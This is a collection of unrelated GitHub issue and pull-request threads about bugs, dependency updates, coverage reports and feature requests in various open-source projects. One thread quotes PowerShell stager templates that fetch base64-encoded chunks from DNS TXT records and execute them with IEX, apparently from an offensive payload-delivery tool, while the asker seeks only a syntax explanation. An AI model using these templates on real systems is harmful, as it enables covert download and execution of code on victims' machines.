  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/xhamster.py", line 100, in _real_extract
    video_url = extract_video_url(webpage)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/xhamster.py", line 52, in extract_video_url
    raise ExtractorError('Unable to extract media URL')
ExtractorError: Unable to extract media URL; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.

fixed in pull request #6467


⚠ Spryr has degraded performance

In 5759d94, Spryr (https://spryr.com) experienced degraded performance:

HTTP code: 200
Response time: 3859 ms

Resolved: Spryr performance has improved in 2fa12b3 after 1 hour, 45 minutes.


Non-exclusive transaction

Discussed in #110

By the way, this @RequiresApi seems to have some problems because it doesn't remove the red marker, but @TargetApi removes it. I think it's a problem with Support Annotation lib.

See http://b.android.com/213630. For now the workaround is to add both.
On Wed, Jul 13, 2016 at 11:12 AM Hamid Moazzami<EMAIL_ADDRESS>wrote:

By the way, this @RequiresApi seems to have some problems because it
doesn't remove the red marker, but @TargetApi removes it. I think it's a
problem with Support Annotation lib.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/square/sqlbrite/pull/128#issuecomment-232386779, or mute
the thread
https://github.com/notifications/unsubscribe/AAEEEfAvObfINfSPFYD7_zINtF3HJ4Yoks5qVQBggaJpZM4JLcs8
.

lgtm :+1:


Add multiple language support

New gulp tasks added for generate the messages.xlf file or merge to existing translations.

@treyrich I have made some changes according to your suggestion. Please check it again and let me know if there is any part need to change.

Awesome LGTM, but I think that @mgechev should review as well to make sure that things are inline with the project goals. In particular I'm not sure if it would be more correct to the style of the project to break out the gulp tasks further. I'll wait for him to comment though.

@nhutcorp thanks for the PR! I'll take a look as soon as possible.

@nhutcorp dropped some minor comments.

@mgechev Thank you for your detailed checking, I will try to group the tasks and fix code format soon.

@Hirse That's good idea, I'll try that way. @mgechev Can I add LOCALE_PATH variable to seed.config.ts file and modify code of compile.ahead.prod.ts file?

Sure, I will wait before merge.


Fix the python version bug in the benchmark workflow files

Description
There is an error reported from
/.github/workflows/native_jni_s3_pytorch.yml
The problem happens at line 74-75 with the error message:
ERROR: This script does not work on Python 3.6 The minimum supported Python version is 3.7. Please use https://bootstrap.pypa.io/pip/3.6/get-pip.py instead.

This error is reported from the file
'https://bootstrap.pypa.io/get-pip.py'
It is fixed by downloading from the compatible source
curl -O https://bootstrap.pypa.io/pip/3.6/get-pip.py

Codecov Report

Merging #1530 (16585c8) into master (bb5073f) will decrease coverage by 1.39%.
The diff coverage is 49.96%.

@@             Coverage Diff              @@
##             master    #1530      +/-   ##
============================================
- Coverage     72.08%   70.69%   -1.40%
- Complexity     5126     5349     +223
============================================
  Files           473      500      +27
  Lines         21970    23370    +1400
  Branches       2351     2552     +201
============================================
+ Hits          15838    16522     +684
- Misses         4925     5566     +641
- Partials       1207     1282      +75

Impacted Files
Coverage Δ

api/src/main/java/ai/djl/modality/cv/Image.java
69.23% <ø> (-4.11%)
:arrow_down:

...i/djl/modality/cv/translator/BigGANTranslator.java
21.42% <ø> (-5.24%)
:arrow_down:

...odality/cv/translator/BigGANTranslatorFactory.java
33.33% <0.00%> (+8.33%)
:arrow_up:

...nslator/InstanceSegmentationTranslatorFactory.java
14.28% <0.00%> (-3.90%)
:arrow_down:

.../modality/cv/translator/YoloTranslatorFactory.java
8.33% <0.00%> (-1.67%)
:arrow_down:

...i/djl/modality/cv/translator/YoloV5Translator.java
5.69% <0.00%> (ø)

...odality/cv/translator/YoloV5TranslatorFactory.java
8.33% <0.00%> (-1.67%)
:arrow_down:

...pi/src/main/java/ai/djl/ndarray/BytesSupplier.java
54.54% <0.00%> (-12.13%)
:arrow_down:

...pi/src/main/java/ai/djl/repository/Repository.java
83.33% <ø> (ø)

...l/training/loss/SigmoidBinaryCrossEntropyLoss.java
64.00% <0.00%> (ø)

... and 200 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b364e7c...16585c8. Read the comment docs.


jquery-validation 1.13.1

Updated jquery-validation files to v1.13.1

Thanks!

Released gem version 1.13.1: https://rubygems.org/gems/jquery-validation-rails/versions/1.13.1

;-)


Add Badges to README

USER STORY
As a developer, ISBAT see a series of badges displayed on the README
ACCEPTANCE CRITERIA
GIVEN
A developer
WHEN
Looking at the repository page
THEN
they should be able to see a badge for build passing, code coverage, go documentation

Blocked by #4

Blocked by #4

No Go Docuemntation badge

No Go Docuemntation badge

Excuse me, it looks like you're using Cucumber-style syntax for business development.
Can I clarify if you're using IntelliJ's IDE for your development as well?

Currently using this syntax because it's what my team at work was using for project management, so trying it out.  I personally use GoLand (which is the Go equivalent of IntelliJ).  There isn't anything in the project that requires a specific IDE to run or develop, everything should compile easily into a binary that can be run from any unix style machine.


Fix refresh exploit by incorporating local storage

Ticket: https://lipsumtext.atlassian.net/browse/LS-24
Also added feature wherein states are reset once UTC day changes

Bugs have been discovered within code; will set PR to draft for now

Please disable the now-no-longer-relevant tests first.


Doesn't work at all in Obsidian for Linux

I'm running Obsidian for Linux. The outliner plugin doesn't work at all.  I'm sure it is enabled. I've tried all the hotkeys and none of them work. I also tried disabling all other plugins to avoid conflicts. The outliner commands appear in the command palette, but none of them do anything when selected.

I can confirm this. Have exactly the same behavior on Xubuntu

@PhilLovesToCode thank you for your feedback.
Unfortunately Outliner plugin currently does not support a new editor, which was added in Obsidian 0.13. Please consider turning on the "Use legacy editor" setting until full support of the new editor is released.
Please follow #216 to be notified when the modern editor is supported.


Format notebook at once or automatically calling %%black?

Any thoughts on enabling the option to format multiple (all...?) cells at once with %%black?

@tobinjones has built a Jupiter extension to achieve the same https://github.com/tobinjones/jupyterlab_formatblack Please take a look and close this issue if you think that suffices your need.

Looks great, thanks!


Update define-plugin.md

describe your changes...

[x] Read and sign the CLA. PRs that haven't signed it won't be accepted.
[ ] Make sure your PR complies with the writer's guide.
[ ] Review the diff carefully as sometimes this can reveal issues.
Remove these instructions from your PR as they are for your eyes only.

@foreheadSniffer Any update on this? :)

Thanks!


Add contributing docs

Codecov Report

Merging #119 (971f3a9) into main (645ac20) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #119   +/-   ##
=======================================
  Coverage   79.04%   79.04%
=======================================
  Files          16       16
  Lines         921      921
=======================================
  Hits          728      728
  Misses        139      139
  Partials       54       54

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 645ac20...971f3a9. Read the comment docs.


fix textarea auto resize problem

Description

as discussed in #13102 I stored the scroll height of textarea in an Alpine variable which fixed the issue without needing to add wire:ignore but there are 2 problems.

when autosize() and live() are used at the same time, there is a flicker while resizing.
when autosize() is not used but textarea is live, the problem that #13102 was fixing remains because wire:ignore is removed.

@danharrin can you take a look at these.
Functional changes

[ ] Code style has been fixed by running the composer cs command.
[x] Changes have been tested to not break existing functionality.
[x] Documentation is up-to-date.

Looks fine to me, but this is in autosize only, it will recreate the issue with autosize off.

Looks fine to me, but this is in autosize only, it will recreate the issue with autosize off.

Yes, as I mentioned in the description, this is a problem that still exists. do you have any suggestions?

Ill make somethign real quick and make a PR also, ill let you know

Check out https://github.com/filamentphp/filament/pull/13211


Add style directive

Make able to build swiper style via postcss-import.
https://github.com/postcss/postcss-import#usage

Thanks


Update uuid to version 3.0.0

Version 3.0.0 of uuid just got published.
Hi there,
This week a new version of the uuid module got released. The old module which was available by the name node-uuid got deprecated and will show error message upon every install of the module.
To get rid of those install errors I've created this automated pull request. I've run some checks against your code base to test whether you're using one of the deprecated apis, but this isn't the case.
Please test the changes against your code. I didn't run any tests and therefore can't guarantee that it isn't breaking. You can also just close this pr if you don't want to update your module.
In case there's already another pr open to upgrade uuid, I'm sorry for the effort I'm causing.

Hi Marc,
Thank you for your PR.
I will apply changes on my develop branch too.
Luc


Add additional materials for KO

@espozbob, thank you for making these changes.
We'll soon have some changes in main tutorial. Can I reach out to you in case we need changes in translation or to review changes made by somebody else?
We’ve added a tweet feature to our web app recently. Can you please go to https://roshanjossey.github.io/first-contributions/#social-share and share your first contribution to open source?
Also, check out projects with easy issues while you’re there.

@Roshanjossey
Of course I can help you review the changed tutorial. And tweeted! :+1:

@espozbob, I’d urge you to continue contributing to other open source projects.
We also have a slack team to help/mentor people trying to contribute to open source projects.
You can join the team by going to https://firstcontributions.herokuapp.com


Explore Python experience

Perhaps there are some good ideas here: http://blog.mathieu-leplatre.info/python-good-practices-in-early-2020.html

See also https://github.com/tensorflow/addons/pull/1243


Some karet.util functions always return observables

Most functions under Kefir section return observables no matter what their input is.
It's especially troublesome for very generic type of functions like U.when or U.ifElse which are likely to be used extensively throughout your codebase. They are usually better alternatives to R.when and R.ifElse due to them working with values instead of functions.
I'm doing some optimization for our app, and this has turned out to be one of the biggest peformance issues for us. It's especially problematic for large tables which use generic components like inputs or dropdowns which use the functions grouped under Kefir, causing slowness due to thousands or tens of thousands of Kefir subscribers.
Would it be okay to make a PR so that these functions will not return observables unless needed? Conditionals should be quite straightforward but perhaps some combinators need some extra thinking.

Released 0.19.0


Implement custom image support

Codecov Report

Merging #41 (614549a) into master (a6ec98d) will decrease coverage by 1.90%.
The diff coverage is 59.78%.

@@            Coverage Diff             @@
##           master      #41      +/-   ##
==========================================
- Coverage   83.09%   81.18%   -1.91%
==========================================
  Files          15       16       +1
  Lines         822      898      +76
==========================================
+ Hits          683      729      +46
- Misses        139      169      +30

Flag
Coverage Δ

unittests
81.18% <59.78%> (-1.91%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

cloudscale_cli/commands/__init__.py
61.41% <53.33%> (-0.16%)
:arrow_down:

cloudscale_cli/commands/custom_image.py
60.00% <60.00%> (ø)

cloudscale_cli/cli.py
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a6ec98d...614549a. Read the comment docs.


Added intrinsic data structures for the Graphicle library

Data structures are divided into components, using ArrayBase abstract base class.
Composite data structures include MaskGroup, ParticleSet, and Graphicle.
Still need to update API, just doing pull request for demonstrative purposes.

Good job Jacan.


False negatives when MiMa finds the wrong previous artefact

When trying to add MiMa to a project of mine I found that I couldn't get it to fail.
@dotta was able to identify this down to MiMa finding the wrong previous artefact (thank you Mirco!):
> show mimaPreviousClassfiles
[info] Resolving com.dwijnand#sbt-dynver;1.0.0 ...
[info] Map(com.dwijnand:sbt-dynver:1.0.0 (e:sbtVersion=0.13, e:scalaVersion=2.10) -> /Users/dnw/.ivy2/cache/scala_2.10/sbt_0.13/com.dwijnand/sbt-dynver/srcs/sbt-dynver-1.0.0-sources.jar)

Note it's pointing to a sources jar. On Mirco's box it was the javadoc jar.
Mirco believes the issue is down to the selection of the previous artefact from resolving the given ModuleID:
https://github.com/typesafehub/migration-manager/blob/master/sbtplugin/src/main/scala/com/typesafe/tools/mima/plugin/SbtMima.scala#L121

The workaround appears to be to add a .jar to the ModuleID when specifying the previous artefact.

nice catch!

IMHO this bug is due to the design flaw of using ModuleID instead of Artifact.


Rename "NodeFactory" to "Transformer" and related methods accordingly?

What about NodeTransformer, and to have ASTTransformer as the collection of NodeTransformers?

I like that

This has been now completed in the future/16 branch


React Packager Error

Unable to run the commandline:Cannot run program "D:\nodejs\npm" (in directory "D:\Project\wxsh"): CreateProcess error=193, %1 不是有效的 Win32 应用程序。

Hello, bugs fixed, https://github.com/beansoftapp/react-native-console/blob/1.0.5/react-native-console.jar , please update manually and I'll update the plugin repository.
Critical bug fix: windows command run fail with npm, react-native and gradlew.
Thanks for your feedback!

ok


what dose code between 132-138 means?

 launcher_template = 'IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{Resolve-DnsName -ty TXT -na "%s.%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}))))'

    stager_templates = {
        'print': '[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)})))',
        'exec': 'IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)}))))',
        'save': '[IO.File]::WriteAllBytes("$(Get-Location)\%s",[System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)})))',
    }

I am poor at English, C# , powershell.
I tried to search on google, but i even don't know which keywords to use. Could you please tell me is "[System.Text.Encoding]" C# or powershell syntax, and what does it mean...
thanks you very much.

These are classes from the .NET framework that you can directly reference from PowerShell:

https://docs.microsoft.com/en-us/dotnet/api/system.text.encoding?view=netframework-4.7.2
https://docs.microsoft.com/en-us/dotnet/api/system.convert?view=netframework-4.7.2

Thus, it is actually .NET syntax used in PowerShell code. See this article for other examples.

thank you a lot.
By the way, I find the powershell on mac and ubuntu doesn't have Resolve-DnsName command.
I am looking forward your shell version.
thank you for your great project. Totally light up my mind.

Thanks for the feedback! I will try to implement the bash target when possible.


Depth directions in SDB_GUI

Hello @rifqiharrys !
I'm having one more query regarding the depth direction.
I'm using the GUI for predicting SDB.
I'm extracting depth samples from GEBCO Bathymetry, but for near shore points its having positive values and negative values in depth points.
The issue I'm having is what to select as the depth direction where the samples are having positive as well as negative samples.
Your suggestions will be valuable.
Thank you in advance!

Hey @jobthoma97
Depth direction is the same whether you have only positive/negative or both. It depends on which direction the elevation or depth is going.
If down is negative, then it is positive up.
I will assume that the data you have is positive up because it's located near shore (it usually is like this).
For example, if you wanted to include values in the range of 2 to - 15 --> (2:-15), insert top limit to 2 and bottom limit to -15.
I hope this helps.
Cheers!

Hey @rifqiharrys ,
Thank you for the reply.
I tried it out using different combination and I finally understood it.
I got confused because of the R Square value, for some depth sample it showed high score and some it showed low score when I changed the depth directions of the sample.
But now I finally got it. I'm new and exploring Machine Learning and SDB, Hence so many confusions and question.
Thank you for the feedback.


Store messages in db before pushing it to the message cache

To prevent message loss when the application crashes at the time of relaying messages, messages are first stored in the database before being added to the in-memory message cache. This is because when the application restarts, the in-memory cache is cleared, leading to the potential loss of unprocessed messages since the relay resumes from the last saved block height.

Since commits were not signed, this PR has been closed and another one has been opened.


Logo routing/robert allen

Description
**Invited Collaborator(s) to Review

Added person to review relating to feature/bug
If not available, ask another reviewer on team

What work was done?

When a user clicks on the logo it links back to that user's dashboard

Why was this work done?

When a user clicks on the logo it links back to that user's dashboard

What feature / user story is it for?
When a user clicks on the logo it links back to that user's dashboard
Type of change
Please delete options that are not relevant.

New feature (non-breaking change which adds functionality)

Testing
X Has this feature been tested before conflict?
Change Status
X Completed, ready to review and merge
Checklist
XMy changes generate no new warnings
X There are no merge conflicts

It looks like one of the checks is failing: build/Test and publish test coverage. Please take a look at the details and see if we can get that check to pass before merging


Gears

Add some gears
Must have:

[ ] simple trapezoidal gears
[x] ~involute gear tooth profile~ (moved to #51)

Trapezoidal Gear
Like this...

Not very practical, but should be easy enough to implement

ok, even that  was harder than I expected; a bit more trigonometry than I expected.
from cqparts_gears.trapezoidal import TrapezoidalGear
from cqparts.display import display

gear = TrapezoidalGear()
display(gear)

The cadquery_gears module has a long way to go, the vision of that module would be to easily create meshing gears at any angle, and any (plausible) ratio with just a few lines of code.
But all of that is wildly out of scope for this issue... I'll let it grow as demand does.


Add download button

It'd be nice to be able to download the spectrum as .png-file.

Taking a screenshot of is easier in almost every case.


Change Uyuni Stable to Leap 15.2

What does this PR change?
Change Uyuni Stable to Leap 15.2

@juliogonzalez Do we also need to change this modules/server/main.tf:11?
"uyuni-released" = "opensuse151"
to
"uyuni-released" = "opensuse152"

Yes, please. I was going to change it after 2020.07 was released, but that happened right before I went on holidays, so I didn't remember :-)

@juliogonzalez  It is tidier if you implement such change in this PR.  then, I can rebase my branch to pick up the changes.

I disagreee.
It can be perfectly be part of this PR. The title reads "Change Uyuni Stable to Leap 15.2", and adjusting what you pointed is part of that change :-)
"Uyuni Stable" == "uyuni-released" :-)

I don't see your disagreement: you are saying what I am saying man :-)
we want a second commit in this PR to update modules/server/main.tf:11

Oh, boy...
You are absolutely right. This is even my PR and you are basically reviewing it.
Too much multitasking :-(
I will fix the PR, sorry about the noise.


Dataset created by myself

Hello, author!I have read your paper.The work you done is great！I have some questions.
1.How to projection coarse keypoint to fine keypoint，and how the fine keypoints coordinates were determined。
2.How to create new dataset?
Thanks

@stiiff did you manage to create your own dataset?


Validate input for update notification settings

Description:
Input for NotificationSettingsApi is not validated. Check for course and user missing.
Improvements

Validate input for notification settings api

Pull Request Test Coverage Report for Build 2493

2 of 2 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.3%) to 65.931%

Totals

Change from base Build 2474:
0.3%

Covered Lines:
1152

Relevant Lines:
1676

💛  - Coveralls


Memory leaking via Splat's MRU cache on WPF

Do you want to request a feature or report a bug?
Bug.
What is the current behavior?
Memory leaks via Splat's MRU cache in the activation logic. The source code sets a limit of 64 activation-for-view-fetchers, but it's certainly possible to leak more instances than that. Moreover, it's not clear to me what the static cache even achieves. That is, why there is any benefit to caching activation-for-view-fetchers in the first place. Requires investigation.
If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem
The best repro I have is in the code for my book samples. If anyone wants to look at this before I do, ping me.
What is the expected behavior?
Memory should not leak.
What is the motivation / use case for changing the behavior?
Leaking memory is bad for your health.
Which versions of ReactiveUI, and which platform / OS are affected by this issue? Did this work in previous versions of ReativeUI? Please also test with the latest stable and snapshot (http://docs.reactiveui.net/en/contributing/snapshot/index.html) versions.
7.2.
Other information (e.g. stacktraces, related issues, suggestions how to fix)

The offending system would be located at https://github.com/reactiveui/ReactiveUI/blob/a8398a3ec886b1fc46876af5e7b1eb54dbad8fc5/src/ReactiveUI/Activation/ViewForMixins.cs#L21


uploading newly compressed images

@ebrelsford is there a quick way to plug back in the images Ron compressed for bios, artifact sheets, slideshows, etc)? Or will I need to bring them back into github with different names, and re-assign the image links in each of the respective prose sheets?

compressed images are here:

https://www.dropbox.com/sh/qz84a2eaal2sapx/AAC7-Aqg4L9gjjGNHwVIF_UIa?dl=0

@a-murry @rmorrison28 yes I will be able to easily upload the whole batch. Two things:

It seems that the images have been compressed so far down that they're blank?! Am I missing something?
These are all images from this folder, not a subfolder of that, right? It seems that's the case but I'm just double-checking.

@rmorrison28 I am also seeing the blank images.


Convert a byte array to an Image recipe

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.